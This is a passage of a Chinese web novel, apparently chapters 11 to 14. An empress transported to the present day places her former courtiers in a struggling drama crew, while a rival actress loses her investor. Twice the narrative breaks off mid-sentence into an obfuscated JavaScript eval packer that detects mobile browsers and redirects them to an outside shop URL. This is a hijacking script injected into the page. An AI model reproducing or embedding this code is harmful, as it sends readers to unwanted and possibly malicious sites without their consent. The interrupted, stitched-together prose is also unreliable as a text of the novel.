严志明忍不住问：“程总不是说你第一次见到镜头吗，不会紧张？” “你们剧组全是我没见过的东西。要是样样都怕，我就不该来。” 严志明：“……有道理。” 正常人没在镜头前表演过，会怕镜头。可当一个人来到完全陌生的地方，这里什么东西他都没见过，镜头对他来说就微不足道了。 严志明告诉他，镜头后实时有好多工作人员看着他。 他在古代就爱上蹿下跳惹人注意，到了现代，还听说自己每一瞬间的动作都会被无数人看到，眼睛“唰”地亮起来。 “别休息了，继续拍！” 严志明连喝口水的时间都没有，第一次体验到激导演的感受。 陶露是来照顾江执的，她对此有丰富的经验。奶茶、矿泉水、毛巾全都备齐，等着艺人从片场下来。 江执离开片场，将陶露给他的东西全转手递给严志明。 陶露错乱地看着气喘吁吁的严志明和精神抖擞的自家艺人，一时分不清哪个是导演，哪个是演员。 一般来说，拍完一场戏累得半死的不都是演员吗？怎么到了江执这里完全反过来了？ “程总打电话来了，小江要接吗？”陶露问。 江执让严志明到一边去喝奶茶，接过电话：“陛下。” “拍戏的感觉怎么样？剧组里的人对你都还好吗？” 江执想了下剧组的人，发现都没什么印象。 不关注的人，他连脸都记不清：“都挺好的，陛下别担心。” 江执的脾气，有她看着总会收敛许多，她倒是不太担心。 “阿执，那你这段时间就要辛苦了，剧组已经耽搁了这么久，拍摄进度肯定会很快。” “快吗？” 江执想起刚才严志明扶着摄像机喊他别把拍摄进度再快了，有点疑惑。 但他显然不会反驳程青厌，点点头道：“我会让他们再快点拍的。” 江执这边全线开工，半分钟都不肯耽误，而在同一座影视城的《花云衣》剧组却稀稀拉拉，拍得很拖沓。 《花云衣》的导演叫方川，在试镜中挑中了程青厌来当女主，拍起来也算顺利。 直到莫贝贝突然进组，话里话外暗示她跟兴茂集团总裁裴云晋有特殊关系。 方川一开始不信，可莫贝贝买了好几次和裴云晋的炒作通告，连cp粉都炒起来了，也没见兴茂那边有什么澄清。 裴云晋来剧组探班的那次，更是打消了方川的犹豫。 他如果不是为莫贝贝来的，还能是为谁？总不可能是程青厌吧，那个时候程青厌都没在剧组。 原来裴总真和这种小明星有关系！ 方川的态度变得很快，原先还因程青厌的黑红流量对她挺照顾，见过裴云晋后用各种方式想逼程青厌退出剧组，起码要让出女主的位置。他甚至跟程青厌改了合同，约定就算她因为某种原因不演了，也不用给剧组赔钱。 程青厌那会横冲直撞，又跟个木头一样听不出言外之意，不管方川用什么旁敲侧击的法子把她赶走都没成功。 方川对她横挑眉毛竖挑眼，剧组天天争吵不休。 好不容易等到剧都拍了一大半，他基本上放弃赶程青厌走了。 结果一觉醒来，程青厌退圈了！女主没了！ 早知道这样，他还改什么合同，白白少了一笔违约金！ 方川顺理成章地将饰演女二的莫贝贝提成了女主，剧组其他人颇多怨言，都被他用裴云晋给压了下去。 裴云晋可是他们的最大投资商，金主塞人，哪怕之前拍的全部作废，大家也不敢在嘴上多说什么。 不过…… 方川看着连台词都说得磕磕绊绊的莫贝贝，眼中的鄙夷一忍再忍。 这还不如程青厌呢。程青厌演技确实不咋样，但该做的功夫一样不少，好几次他都发现她的剧本被翻卷了角，也从来没像网上说的那样耍大牌。 莫贝贝演技确实有几分灵气，可态度也太懈怠了，仿佛有恃无恐一般。 方川瞥了眼场地上大大的兴茂logo，心说这人确实有恃无恐。 有裴总投资，再怎么折腾也亏不了。 NG了几次，方川教她：“贝贝，女主的人设是那坚毅勇敢的小太阳，你说话的语气应该更加坚定向上一点，尾音不要拖长，眼神也别总是瞟别的地方。” 不知道是不是他的错觉，莫贝贝讲话总是有意无意刺跟她敌对的人一下，与剧中女主不记仇的形象很不符合。 就连长相都不匹配，花云衣女主就该是程青厌那种明艳大气的长相，莫贝贝固然也美，却是柔媚的美，根本不是一种风格。 “方导，你说的我知道了。”莫贝贝维持住笑容，“我有点累，想休息一会，状态好了再拍。” 场务对着时间表一脸愁容，等她状态好了，今天的拍摄进程又会耽搁。 莫贝贝问场务：“很着急吗？我看每次我状态不好你都很焦急，那不然我休息得快一点，快点回来让你安心。” 方川连忙打圆场：“状态的事情哪里急得来？你先歇着，调整好了我们再拍。” 他都不知道照顾莫贝贝多少次了，经常是程青厌得在大雨中生病拍戏，莫贝贝能随随便便用替身。程青厌拍戏熬到两三点，莫贝贝只要一句想休息他立马就放人。 这对比太强烈，让剧组里许多工作人员都偏向风评不好的程青厌，对莫贝贝很是瞧不上。 没办法，谁让莫贝贝背后有人呢？ 他去角落笑容满面地给裴云晋打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396422|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话，能直接把电话打到裴云晋手机上，多亏了莫贝贝给号码。 看着他离去的背影，莫贝贝轻蔑地靠在软枕上，让助理举着打光灯给她拍自拍照。 助理的脸色不太自然，一直在说：“贝贝姐，要不别拍了，提前暴露妆造不太好吧。” “你怎么这么多话，让你拍就拍。” 她可是女主角，身边的助理顶天也就是个炮灰，敢违抗她的意思，肯定得被各种方式打脸的。 照片中只露了张下巴，主要集中在她身上的真丝礼服。 “贝贝姐，照片我帮你P，礼服修得更好看一点。” 这礼服可是D家的绝版高定，多少一线女星都只能看不能摸，现在就这么轻易地穿在她的身上。 校园剧本花不了多少钱，钱多了就会往服装造型和后期宣传上放，多亏了裴云晋的巨额投资，让她把这种想都不敢想的衣服穿在身上。 程青厌做女主演时方川就叫她穿，结果她竟然不愿，说什么这种衣服不符合女主角朴素不慕虚荣的人设。 助理显然也想到程青厌的拒绝，道：“我可不信程青厌看到这么贵的衣服不会心动，装出来的而已。什么符不符合人设，只要造型好看，观众哪会在意这个？” “好了，别在背后说人坏话。青厌姐可能就是比较固执而已。” 她得意地翻起微博评论。她出道不久，没多少粉丝，好在有花云衣给她带来大量路人的关注。 【这是D家的绝版裙子！全世界只有一万件，莫贝贝怎么穿到的，按理说就是有钱也买不到。】 【这可不是她买的，是剧组的服装！花云衣剧组真的太太太壕了。】 【贝贝穿这件衣服真的好合适！清纯大美人！】 【剧组真的太良心了，这么大投入。花云衣快快播出让我看。】 【就我一个人觉得不太对劲吗，原著里女主最后创业成功了都很低调，对奢侈品无感，怎么会穿这样的裙子？】 察觉到问题的人不是没有，却很快被其他评论冲了下去。 【原著是原著，改编是改编。说不定是加了什么新情节需要穿高定礼服，什么都按照原著来那你看改编干嘛。】 这条评论点赞很高，除了真爱的原著粉以外，大部分网友对于改编剧还是有一定容忍度的，只要好看，跟原著有偏差也不是不行。 莫贝贝道：“看吧，我就说只要好看，他们哪管那些。去，把我随组编剧喊来。” 同一个角色，不同的人来演也可能产生截然不同的效果。莫贝贝当然清楚女主的人设与她长相不符，为了不让播出后观众不满，她想出一个绝妙的办法。 改剧本。 既然人设不适合她，改人设不就行了？人设改了剧情会出现问题，改剧情不就行了？ 女主人设自强不息小太阳，她改成她最喜欢的温柔冷静白富美。 她叫公司请了好几个随组编剧，按照她的意思改剧本。谁知道饰演男主的男明星见状，觉得女主人设改了跟他毫无CP感，他也要改！ 他说男主人设太完美了，作为小太阳的暗恋对象当然很甜很好，但是两个温柔冷静的人设撞在一起怎么谈恋爱，谁愿看？ 他给自己的人设疯狂加戏，先是从原生家庭里挑明父亲家暴母亲懦弱，后又给自己整了一大堆没有女主的单人剧情，想展现自己一路成长的人物弧光，由一个备受创伤惜字如金的学霸慢慢转变为一个有喜有怒的正常人，观众一定会喜欢！ 这下莫贝贝又不满了，一个女主为主的校园剧，男主占那么多戏份干什么！这不是抢她一番的位置？ 她也给自己添上凄惨的背景，甚至多添了几条恋爱线。观众不是喜欢看感情戏吗，她让女主在几个男主男配之间徘徊，每个人都有感情，观众一定爱看！ 一部简单纯情原本就是男学霸女学渣，女主暗恋男主后努力奋斗，感动高冷男神后两人互相激励考上梦想大学的校园恋爱剧，现在已经被他们改成得面目全非，除了男女主名字一样，几乎很难说买了原著作为剧本有什么用。 莫贝贝翻看编剧递来的新剧本，不错，拍出来比男主戏份多。 “剧本拿去给方导看吧，叫他就按这个拍。” 助理没找到方川。 他在角落给裴云晋打电话：“裴总，我是方川，花云衣的……对对对，您还记得我。我现在已经将莫小姐提成一番了，您看看投资的金额方面，是不是可以……莫小姐就是莫贝贝啊，不是您吩咐要她当女主，让程青厌离开的吗？” 方川的笑容逐渐消失：“您说什么？要撤资？！” 12. 第12章 花云衣由大火的IP改编，是无数人在学生时期看过的校园小说，大家的青春回忆。自立项开机以来，流量一直很大。 选角期间，几家流量粉丝就开展抢角大战，全都想把这个好饼纳入囊中。 最终在流量女明星里选了程青厌，她的粉丝得意了好一阵子，就惊闻晴天霹雳，她退圈了。 什么好资源，在再也见不到她面前，都不重要了。 粉丝们看到花云衣相关消息就伤心，加之程青厌黑粉众多，剧组的相关话题热度大涨。 【程青厌退圈之后竟然是莫贝贝当女主，娱乐圈除了她没明星了？剧组在搞什么鬼，那之前拍的不是全作废了？】 【莫贝贝完全跟女主不贴脸啊，程青厌演技不好，好歹形象很符合。我之前一直骂她，现在轮到莫贝贝来演，我宁愿还是程青厌。】 【莫贝贝到底有什么代表作啊直接就来演女主，就不能选个演技好的吗？原著算是毁干净了。】 吃瓜网友不顾原著粉的哀嚎，全在八卦看乐子。 【不是据说莫贝贝跟裴云晋有关系？兴茂给花云衣投了几千万，换女主的事会不会就是裴云晋授意的。】 【那岂不是莫贝贝真扒上了裴总？高冷总裁&软萌小明星，金.主文学我已经开始磕了。】 【之前程青厌粉丝跟莫贝贝粉丝吵了几个月，嘲笑她们被程青厌压番，现在脸都丢没了吧哈哈哈。】 【我们青厌是懒得在娱乐圈呆了，某些人捡青厌看不上的东西还沾沾自喜，真好笑。】 程青厌还有粉丝存在，可惜人微言轻，在一众网友发言里掀不起什么波澜。 更有讨厌程青厌的黑粉，从犄角旮旯里挖出了程青厌接手的琦季派人参演了《心动不自知》这个糊逼剧组的消息。 【心动不自知？现在改名了，叫真千金归来：退亲未婚夫后悔莫及。】 【好怪的名字，再看一眼。好怪，竟然有点想看，大概是什么讲什么剧情的？】 【程青厌下水军了？这么长的鬼名字，记都记不住，还有人说想看？】 【这对比也太大了吧……程青厌之前咖位稳压莫贝贝，一夜之间就反过来了。她公司怎么会去找这种剧组啊，据说连女主都没人肯当，从演员、导演到投资商都一脸扑相。】 总体大家还是很看好花云衣，毕竟男女主都是有颜有流量，又是大公司出品，不说能爆到什么程度，至少不会翻车多狠。 程青厌没在意网上怎么说自己，甚至说，骂她的越多，能给公司和她的艺人带来的关注越多，她越高兴。 《花云衣》爆火是预料之中的事，她还不至于卑劣到了解未来的事就刻意搞点破坏。 裴云晋和莫贝贝已经是她生命中的过客，只要他们不来找茬，程青厌没必要用经历过未来的事的态度去对待他们。 但其中一条评论说得对，《真千金》剧组连肯演女主的人都没有，这是绝对不行的。 有了江执和戚弥玉夜间穿越而来的先例，程青厌晚上睡觉都开着一盏暗暗的小夜灯，以防又有谁来了，在没有光亮中出了什么事。 夜间，脚步声传来。 程青厌在现代获足了安全感，睡眠已经不再那么浅，来的人脚步也轻，并未吵醒她。 过了几十分钟，又一次脚步声进了房间，很快就消失了。 直到第三次脚步声，程青厌才睁开眼。 “……明柚，立雪？” 两个宫装精巧的女孩并肩而立，身材几乎一模一样，只是明柚巧笑嫣然，立雪沉稳淡然。 “参见陛下！”两个女孩行了个最标准的礼。 程青厌一有抬手叫起的意向，明柚便笑嘻嘻地跑来床边：“陛下！奴婢同妹妹都来了！” 两人相貌相似但不同，很难让人看出她们是双胞胎。 身为姐姐的明柚是程青厌身边最活泼的宫女，而妹妹立雪则对什么事都很淡定，一看就是长姐模样。 “陛下，奴婢来迟。”立雪跪着不起，从来都没什么表情的脸上，眼睛竟然悄悄红了。 程青厌让明柚扶起她，握住两个人的手，笑道：“原来我们立雪也会哭啊。” 明柚噗嗤一声笑了：“陛下出事时，奴婢眼泪都要流干了，妹妹却说哭泣无用，不如振作起来替陛下收拾身后事才最重要。瞧瞧，现在妹妹也做起‘无用’之事啦。” 明柚立雪从小就一起长大，父母皆是官吏，将她们送进宫后得到程青厌重用，从未受过什么委屈，姐妹之间天天拌嘴。 程青厌敲了明柚一下：“到这了还不消停，就知道调侃你妹妹。” 明柚才不怕：“明明是陛下先调侃的。我这叫让陛下开心。” 有了两人打岔，立雪很快收住了情绪，打量四周：“我们这是来到死后的世界了吗？” “打住。”程青厌伸出手，“你们想知道的一切，明天会有人解答，江贵君、戚侍君和连嬷嬷都在这里。现在我们先睡觉，养好精神。” 明柚立雪对她的安排没有任何意见。 有了宫女在就是方便，三室两厅找不出空房间，她们俩在程青厌指挥下铺好地铺，用时不过五分钟。 睡在地上，对于女帝的贴身宫女来说算是委屈了。 明柚完全不这么觉得，感叹道：“能和陛下睡在同一间屋子，好幸福！” 立雪对叽叽喳喳的姐姐说：“陛下要睡了，姐姐别吵。” “噢。” 明柚强迫自己从兴奋中安静下来，太阳一升就醒了，推开门见到同样比鸡起得早的连嬷嬷。 等程青厌睁眼，床头柜上热水脸盆毛巾都准备好了，牙膏都已经趟在了牙刷上。 程青厌感到了久违的幸福。 洗漱只需要她躺在那，明柚就轻柔地用热毛巾帮她擦拭。她一张嘴，牙刷就在她牙齿间细致刷洗。双手一摊，明柚给她换衣服能保证衣服的每一角都不会挨到她，给她带来不适。 但程青厌拒绝了。 “没有女帝命，别有女帝病。” 让明柚立雪如此无微不至地服侍，在现代按市价每月起码五位数，她可付不起。 说来说去，就是没钱。 程青厌用最快的速度跟两人解释了现代的情况，这才挽回了明柚岌岌可危以为程青厌不需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程青厌走到客厅，把江执和戚弥玉都夸了一番，才道：“选秀节目的报酬已经到了，我今天去买两张双人床，给明柚立雪，以及未来还有可能来的人用。车也得备一辆，太好的暂时买不起，能代步就行了，不然我们这么多人要么步行要么打车，花费时间精力太多。” 后宫们一向听她的，但他们已经不只是她养着的人，更是为她做事的员工。程青厌有意培养他们参与到事情的决策和讨论中来。 明柚听不懂那些名词，却明白她的陛下是在不宽裕的情况下为她们购置物品，感动得泪眼汪汪：“陛下……” 连嬷嬷没给她多少感动的时间：“你们刚来，陛下自然会照顾着。你们可不能靠着陛下的善心过活，得找到养活自己的活，才能把日子过下去。” 连嬷嬷是个饱经风霜的，也是所有人中对现代适应最快的一个。 程青厌收到陶露担忧《真千金》剧组找不到女主女二的消息，沉吟道：“明柚立雪，你们对拍戏有兴趣吗？” 13. 第13章 方川和严志明都是底层出身的导演，在影视界毫无背景可言。于能力上来说，方川自认不如严志明有天赋。 但方川比严志明懂钻营、有手段，运气也随之而来好了许多，拍过几个爆款网剧，如今都能接到花云衣这种上星剧了。 挂了打给裴云晋的电话，方川在角落里抽了一整支烟，走向片场外宽敞舒适的保姆车，里面正有几个人给莫贝贝从头到脚按摩。 “贝贝，时间不多了，继续拍吧。” 莫贝贝在敷面膜，显然是卸了妆，今天没再准备拍。 她的助理先跳了出来：“方导这是什么意思？刚才不是还说贝贝要找状态不容易，这会就来催了？你这样影响她休息的心情还怎么拍？” 被一个助理劈头盖脸一顿说，方川也并没有发怒，道：“时间确实紧张，毕竟我们是临时换了主演……” “紧张？紧张就让别的演员加快进度，时间不就省出来了？临时换主演还不是导演你的决定，现在倒来怪我们了。” 莫贝贝坐起身：“好了，你不要这样说。毕竟青厌姐突然离开，招呼都不打一声，大家根本没个准备，方导也有他的难处。” 方川等着两人红脸白脸唱完一套，道：“所以你的意思是，现在不能拍？” 莫贝贝为难：“你看我现在妆都卸了，再说天色都暗了，不如明天再……” 围观的工作人员渐渐多了起来，莫贝贝和助理的话惹得人群中发出阵阵模糊不清的抱怨声。 “进度不还都是她拖的？她之前想方设法把程青厌逼走，说不定程青厌退圈就是她的手笔，现在还来装好人。” “如果是程青厌在，拍通宵都有过，怎么会用天色暗了这种狗屁不通的理由？” “小点声行不行？要是她告去裴总那里，你一辈子别想再娱乐圈待了。” “还有什么好看的，这种事之前又不是没有过，人家说要休息，方导再有意见不也得听她的？” 方川第一次打断莫贝贝的话，语气还算温和：“贝贝，我有件事想问你。” 她脸上一闪而过一丝不悦：“什么？” “我把提你为一番的事情告诉裴总，他就撤了全部的投资，令我们剧组明天连片场的租金都付不起了，你明天可能也不用拍了。这是为什么呢？” 莫贝贝神色惊疑不定。 她尽可能冷静下来：“这其中肯定是有什么误会，我会亲自去问裴总的。” 方川思虑着，将周围其他人喝退，才道：“那就等你的消息了。” 方川没再逼她继续赶拍摄进度，脚步沉重地走了。 他为人精明，哪里会看不出莫贝贝心也慌了，但他又能有什么办法？ 他问裴云晋为什么要撤资，裴云晋怎么会告诉他？他根本就不清楚撤资的原因，唯一有可能挽回投资的希望就在莫贝贝身上。 方川有再多不满，也不能在此时和莫贝贝撕破脸皮。 方川铁青着脸，把一个NG了好几次还没过的小配角骂了一遍，这才缓解了一会内心的怒火。 保姆车里的莫贝贝，也让所有人离开，在脑中翻出一本厚厚的书。 上个月的某一天，她梦中出现了这本书，名叫《我的二婚老公》。 她这才明白，原来这是世界是一本小说，而她就是小说中的气运之女，最独一无二的女主角。 她暗生好感的兴茂总裁，几年以后真的会与她结婚，宠她一辈子。 既然这样，她还怕什么？ 不如提早进度，安排和裴云晋的cp热度，以此给自己换一个更好的资源和流量，也方便让裴云晋更快看到她。 莫贝贝记得裴云晋此时好像是有个未婚妻的，不过这也没关系，程青厌又不是女主，迟早是要被裴云晋甩了给她让位的。 程青厌退圈，莫贝贝始料未及，反应过来就拍手称快。 原本还以为这个恶毒女配要对她使什么手段，结果直接不战而逃了。说不定就是因为她得知了原著，提前用上了裴云晋对她即将产生的好感，把这个未婚妻气跑了？ 就连那次裴云晋特地来片场探班程青厌，她提前支走了程青厌，防止这两个人的感情再藕断丝连，耽误她和裴云晋相处。 一切都很顺利，连原著中程青厌饰演女主她女二，剧播出后她粉丝疯涨而程青厌受群嘲这种现象都免了，她直接当了女一号。 裴云晋为什么要突然撤资？？？ 裴云晋的性格她研究得很清楚，冷心冷情，要他在非生意时开口比什么都难，到原著后期也没对她温柔到哪里去。 《花云衣》是她遇到裴云晋的开端，她能糊弄方川，却糊弄不了自己。 裴云晋此时对她根本没感情，甚至连她的名字都不记得。 她靠着偷窥程青厌手机记下的裴云晋的电话，拨通，对面是忙音。再拨了好几次，裴云晋的秘书接起，问清她的名字后直接表明裴总不认识她。 助理急得出了一身汗：“贝贝姐，这到底怎么回事啊！你不是说裴总对你有意思，要不是你来花云衣，裴总都不会投资吗？” “没什么大事，只是我前两天跟裴总闹了别扭，他有点生气而已。”莫贝贝将助理赶去干杂活，一个人在保姆车里来回踱步。 她只能想出一个办法：瞒。 反正裴云晋谁也不在乎，哪里会注意到她用他来造势？等他发现了，那时肯定已经爱上她了，自然不会介意这种小事。 如果不瞒，她在这剧组还怎么待得下去！ 助理匆匆跑过来：“不好了姐，出大事了！” 助理举起手机：“兴茂撤资的事情传出去了，网上全在猜到底出了什么事！” 莫贝贝一把夺过手机。她出道不久，根本没几个粉丝，撤资传闻一出，网友不得集火到她身上？ 【程青厌一走，兴茂就撤资？】 【裴云晋和莫贝贝的CP粉呢，不来解释一下？】 【楼上，我就是云贝CP粉，兴茂撤资又不一定是裴总的意思，说不定是底下人乱来呢？你们这么急着嘲讽，是不是嫉妒啊？】 【这么看来程青厌运气还挺好的，不然这么一个好资源瞬间少了几千万投资，要被架起来嘲笑的就成她了。】 程青厌？ 莫贝贝脑子里灵光一闪，对啊，还有程青厌！ 网上这些人这么喜欢把她和程青厌放在一起比，只要程青厌比她更差，这些嘲讽的声音不就转移了？ 她吩咐助理：“程青厌公司的艺人不是官宣了个糊剧吗，你去下水军把这事炒热，节奏就往花云衣再怎么样也比那部戏好的方向带。” 程青厌退圈，莫贝贝也没有放下对她的关注，还想学着商战剧里的主角一样，安插人手进她公司打探消息。 可惜她打听过了，程青厌那公司里面员工就一个，这也太难插人进去浑水摸鱼了。水都没有，怎么摸鱼？ 她只好时刻关注着程青厌的社交动态，确定她派人参加的电视剧在原著中压根没提到过，这才放心去拉踩。 莫贝贝是楠唯公司的重点培养艺人，助理不敢不听，火急火燎地去办。 保姆车外的场地开始变动，许多租借来提升剧集品质的奢侈品、场景都被人收回，原本声势浩大的片场一下子变得和周围的小剧组没什么两样。 场务冷眼看着莫贝贝：“你都卸妆了，衣服也换下来吧？” “什么意思？” “这是租来的真丝礼服，高定系列，租一天就是几 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方川走了过来，淡淡道：“贝贝，你把事情搞成这样，大家都不好办呐。” 莫贝贝无比痛恨自己一穿上这件衣服就要拍照发博，要是没发，这衣服还就还了，现在炫耀都已经炫耀了，若是被人发现播出后剧里根本没有这个造型，那她岂不得被群嘲！ 莫贝贝第一次在剧组里低声下气地说：“方导，我知道这裙子要还回去，但是你能不能跟品牌方说晚一天再还？我们可以现在就拍那场戏，拍通宵都没问题，拍完立刻还。” 方川想起她半个小时前说要休息的模样，不免觉得好笑。 这丫头小他二十多岁，比他年轻时还要能屈能伸。 只是方川也不是什么好脾气的人：“你要明白，剧组现在拼拼凑凑也只能凑出个几百万的资金，光是给你的片酬就占了一小半，所有要花钱的地方全要消减。如果不能有新的资金注入，我们连给你这条裙子适配的场地都找不出来，更别提什么拍戏了。” 他这么说，明摆着就是跟场务一起，逼着莫贝贝还裙子。 “不行。”莫贝贝从来没有这么坚定过，“你要觉得我片酬高了，我可以主动降。场地的租金我也可以付。” 只要能拍下去。 她真的太重视这个机会了，在原著里，这是她从一个无人问津的小明星，一举超越程青厌，实现名利口碑双丰收的第一步。 她坚信只要拍了，有她这个天选之女在，这部剧就一定会爆，她的事业就能突飞猛进，更能被裴云晋看见，有初次的接触。 她这么毫不犹豫地花钱，令方川都有些震惊了。 难道莫贝贝真的能确定裴云晋后期会重新投资？不然她哪来的这种孤注一掷都要把戏拍完的勇气？ 方川对莫贝贝的信任倒是增了几分，语气缓和了些：“贝贝真是有为了作品牺牲的精神，那我去跟你们公司谈谈降片酬的事了。” 他没再提礼服的事，意思就是暂时放她缓一阵，若是片酬谈不下去，再用这招来掐住她。 方川没再管莫贝贝的脸色，带着副导演走了。 副导笑着恭维道：“还是方导您聪明，发现莫贝贝发了那条微博就想到没了这礼服她骑虎难下，一下就把片酬打下来了。” “这种人就是虚荣，知道她想要什么自然就好办了。”方川道，“严志明那个剧组是什么情况，你有没有关注？” 他和严志明关系很是一般，却是大学的同班同学，又都没什么人脉背景，他免不了要跟严志明暗暗比较一番。 “我看看。”副导掏出手机，“他们的剧您哪里用在意，投资商都找不到的……啊，他们怎么突然上热搜了！” 14. 第14章 《真千金》能上热搜，多亏了莫贝贝的倾情赞助。 莫贝贝为了转移网友对于撤资的注意力，安排水军用花云衣拉踩真千金。 既然要拉踩，必定两方都得提到，《真千金》本就因为程青厌的存在而关注度飙升，莫贝贝再出这么一招，直接推上热搜。 而热搜的题目也不像莫贝贝所期待的，是类似#花云衣真千金#这样极具双方争议性，而是#真千金江执#。 江执的海报拍出来了，英伦校服显得肩宽腰窄，黑发遮住凌厉狭长的眉眼，眼神轻轻一瞥镜头，便带着十足的高傲。 许多人再怎么摆pose都僵硬无比，这张海报却是摄影师听说江执没见过镜头，为了给他预热随手摁下的，结果拍了好几张后，竟发现这张毫无摆拍痕迹的海报最能显示出江执仿佛与生俱来的优越感。 别人是出演贵公子，他就是贵公子本人。 【我估计这热度是程青厌安排的吧？今天怎么这么多人把真千金和花云衣放在一起比，本来想点进来嘲笑，结果男主角好帅啊！我直接真香了，赶快拍我要看！】 【程青厌真的还有安排水军的钱吗？谁安排的已经不重要了，男主是不是叫江执来着，我前几天就在c站上看到了，生图都好帅更别说海报了。】 【看这剧名应该是有真千金回来复仇的爽剧？虽然好多人都说剧名土死了但我有点莫名的期待。】 【内娱什么时候出了这种类型的帅哥！仿佛看到了古代的纨绔公子哥，这种感觉别的男明星从来没有过。】 严志明看到热搜笑得嘴都合不拢，连忙跑去开机仪式时摆的佛祖像前鞠躬。 虽然姿势有点偏差，但心灵无比虔诚：“感谢菩萨保佑我们剧组，可算是有点关注度了。” 一道男声在他身后响起：“你对着关帝喊菩萨，真的合适吗？” 严志明仔细观摩雕塑一番，又对着手机上搜出来的图对比，尴尬地确认：“我觉得吧，关帝大人大量，应该也不会在意这种小事儿。” “江执？”严志明给关帝的雕像赔礼道歉，才转头发现出声提醒的人是江执，“你还懂这个？” “关帝是道教，菩萨是佛教，他确实得大人大量才不去计较。”江执说话可不留情面，“我懂是因为……” 他正要说是因为母亲成天念叨道教的经义想要把他感化，他对此毫无兴趣但被迫全都记住了。 可惜这不可能告诉严志明。 他轻咳一声：“我当然懂了。行了，你也别拜了，拜这有什么用？” 严志明叹了口气：“我以前也是从来不信这种东西的，但是我运气太背了，拍了十多年的戏，圈子里的地位还是跟十年前一样。” 江执对这个不太了解：“你在圈子里是什么地位？” “没有地位。” 他接着说：“直到有朋友跟我说，有些人就是再努力也起不来，缺了点运气，得靠玄学来拯救。我每天路过这菩萨……不是，关帝面前都得拜一拜再去做事，果然时来运转了！” 江执：“？” 江执：“你每一次都喊错名字，关帝能保佑你？” “这……说不定关帝跟菩萨有感情，我喊他菩萨他还挺高兴？” 江执觉得这人有病，懒得再说，走去给主演们做菜的厨房。 江执现在是整个剧组的公认福星，自从他来了，剧组蒸蒸日上，甚至获得了以前想都不敢想的热搜一日游。 严志明看江执怎么看怎么满意，趁着中午没事，也跟着他来厨房，问：“你还会做饭？” “厨房人太多，无关人员别进来。” 看来还真是去做菜的。 严志明嘀咕道：“小江这孩子，要是能让我女儿跟他见见就好了。长得帅也就算了，连做饭也……” 江执端出一盘焦黑的大白菜，被厨房的工作人员呛着跑出来。 “……连做饭也这么算了。” 江执耳朵尖听清了，白菜端到他眼前：“吃不吃？” 严志明很像顺从心中所想说不吃，又不怕剧组福星生气了，搜肠刮肚找了个借口：“就不吃了吧。等会程总要来，我留着肚子陪程总。” 严志明见江执脸色立即就变了，只好咬着牙舍身赴死道：“实在不行我就吃一口！” 江执看都没再看那盘菜一眼：“陛下要来？具体什么时候！” “半小时前发的消息，可能现在就到了？” “那你还吃什么，快去见她！绝不能让她等你！” 严志明被推着向前，江执一边稳稳地确保陛下来的第一眼能看到他，一边还有心思用到了现代才有的如此清晰的镜子整理好衣饰，确认最好的状态。 “不就是一天没见，你有必要这么着急吗？” 严志明跑得气喘吁吁，见到程青厌才惊觉她身前还有两个仿佛御前带刀侍卫一样站姿的姑娘。 左边那位肌肤赛雪，长发如瀑，眉目沉静，浑身散发着书卷气息。 另一位与她长相有几分相似，头发却绑成古古怪怪的许多根辫子，一双眼睛古灵精怪四处转着，令人一看就生出喜爱，仿佛见到自家最调皮灵活的小女儿。 严志明心中有一个不可思议的念头：“程总，这么漂亮两个女孩，你带她们来片场的意思难道是……” 程青厌比她们都要高，两人保护圣驾开道结束，流畅地退到她身后。 她清楚严志明的意思：“没错，严导应该为剧组没有女主和女二烦恼很久了。我这两位朋友也想试试演戏，你看看合不合适？” 其他角色还算好办，这部戏最关键的就是男女主角和女二号，他们的戏份多到没有敷衍选人的可能。 “程总！原来江执不是我们剧组的福星，你才是啊！”严志明快疯了，不顾三七二十一，一把抱住小他二十几岁的程青厌。 不论男女，周围几人的眼神如刀子一般刮过来。 严志明这才讪讪拉开距离，对着明柚和立雪转着圈地看，越看越怀疑自己在做梦：“程总，你看看能不能打我一下？” “这种粗活怎么让陛下来？” 江执往他肩膀上使劲一拍，严志明察觉到痛，也顾不得去思考这一打到底有没有公报私仇的成分。 他竟然没在做梦！是真的！ 他愁了几个月的剧组主演们，在几天内凑齐了！ “这是明柚和立雪，一对双胞胎姐妹。”程青厌介绍，“我给她们看过剧本，明柚说想试试女主的角色，立雪倒是无所谓演谁。” “竟然还是双胞胎？”严志明仔仔细细打量起来，“我还以为是漂亮女孩长得像，原来是双胞胎长得像。还好不是太像，不然又得改剧本。” 剧本中调换真假千金的正是真千金的姨母，也就是假千金的亲妈。真假千金实则是表亲的姐妹，正需要这么一对长得像却又不能一眼看出是亲生的姐妹花来。 严志明啧啧惊叹：“程总，你真是救我们剧组于水火之中，再没有比这两姑娘更适合的了。你每次推荐过来的演员，个个都挺古风，最重要的是都很有贵族气派，她们都是你从山区里找出来的？” 明柚和立雪可是太师之女，送进宫中做御前女官见惯了天下间最尊贵的一批人，贵族气派想不养成都不可能。 “山区竟然有这么多好苗子，要不然我去山区里住一阵子，挖掘挖掘？” 严志明真的在思考去山区定居的可能性，所幸被程青厌及时打断：“我特别爱好去山区，这些人都是在不同的山区和农村找到的，严导要去的话太花时间了。” 有了江执在前，严志明对程青厌的信任达到了顶峰，连试镜都不用，直接让明柚和立雪签约。 写好合同，严志明问：“两个女孩叫明柚、立雪，姓什么呢？” 程青厌正要报出她们父母的姓，却听两人齐声道：“姓程。” “这么巧，那你们跟程总五百年前是一家啊。”严志明打趣道。 程青厌：……我们五百年前还真就是一家人，住在一起的那种。 三个演员作为剧组的最主要角色，说这部剧是琦季出品的都会有人相信。 